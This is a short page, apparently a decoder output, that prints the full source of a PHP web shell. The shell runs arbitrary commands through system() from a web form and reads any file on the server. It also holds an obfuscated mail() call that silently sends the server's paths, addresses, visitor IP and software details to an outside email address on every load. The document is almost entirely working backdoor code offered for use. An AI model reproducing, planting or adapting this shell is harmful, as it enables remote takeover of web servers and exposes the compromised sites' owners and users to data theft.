PHP Decode

<?php 
//code by navaro :d 
/***************************************/ 
  closelog( ); 
/* 
  echo "<center>"; 
  $user = get_current_user( ); echo "User :".$user."<br>"; 
  $login = posix_getuid( ); echo "Login (Get uid):".$login."<br>"; 
  $euid = posix_geteuid( ); echo "Get Euid (geteuid):".$euid."<br>"; 
  $ver = phpversion( ); echo "Php version (phpversion) :".$ver."<br>"; 
  $gid = posix_getgid( ); echo "Get id (id) :".$gid."<br>"; 
  if ($chdir == "") $chdir = getcwd( ); echo "pwd :".$chdir."<br>"; 
  if(!$whoami)$whoami=exec("whoami"); echo "whoami :".$whoami."<br>"; 
  echo "</center>"; 
 
/***************************************/ 
function readfiles() 
{ 
echo "<form name=pathfile method=post action=".$_SERVER['REQUEST_URI'].">"; 
echo "File name : <br><input size=50 name=file type=text".@$_POST['file']."><br>"; 
echo "<input type=submit value=Submit></form><hr color=777777 width=100% height=115px>"; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=cmd>Command</a><br>"; 
$file=@$_POST['file']; 
if(!@fopen("$file","r")) { echo "File not found";exit();}; 
if(@isset($file)) 
{ 
$fd = @fopen ("$file", "r"); 
echo "<center><font face=\"tahoma\" size=\"12\"><TEXTAREA NAME=\"source\" ROWS=\"35\" COLS=\"120\">"; 
while (!@feof ($fd)) { 
   $buffer = @fgets($fd); 
   echo htmlspecialchars($buffer); 
} 
@fclose ($fd); 
echo "</TEXTAREA> </font></center>"; 
} 
else echo $_SERVER['PHP_SELF']."?file="; 
} 
// Thuc thi command 
$ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5
$b33
$c87
$d23
$e09
$f23
$g32
$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98"); 
function ecmd() 
{ 
echo "<FORM name=injection METHOD=POST ACTION=".$_SERVER['REQUEST_URI'].">"; 
echo "Command : <INPUT TYPE=text NAME=cmd value=".@stripslashes(htmlentities($_POST['cmd']))."><br> <INPUT TYPE=submit></FORM><hr color=777777 width=100% height=115px></font><pre>"; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
$cmd = @$_POST['cmd']; 
  if (isset($chdir)) @chdir($chdir); 
  ob_start(); 
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); 
  $output = ob_get_contents(); 
  ob_end_clean(); 
  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); 
exit(); 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
echo "</pre>"; 
} 
$act=@$_REQUEST['act']; 
if(empty($act)) 
{ echo $_SERVER['PHP_SELF']."act=?<br>" ; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=cmd>Command</a><br>"; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
; exit(); 
} 
if($act=="cmd") {ecmd();} 
if($act=="readfile") {readfiles();} 
?>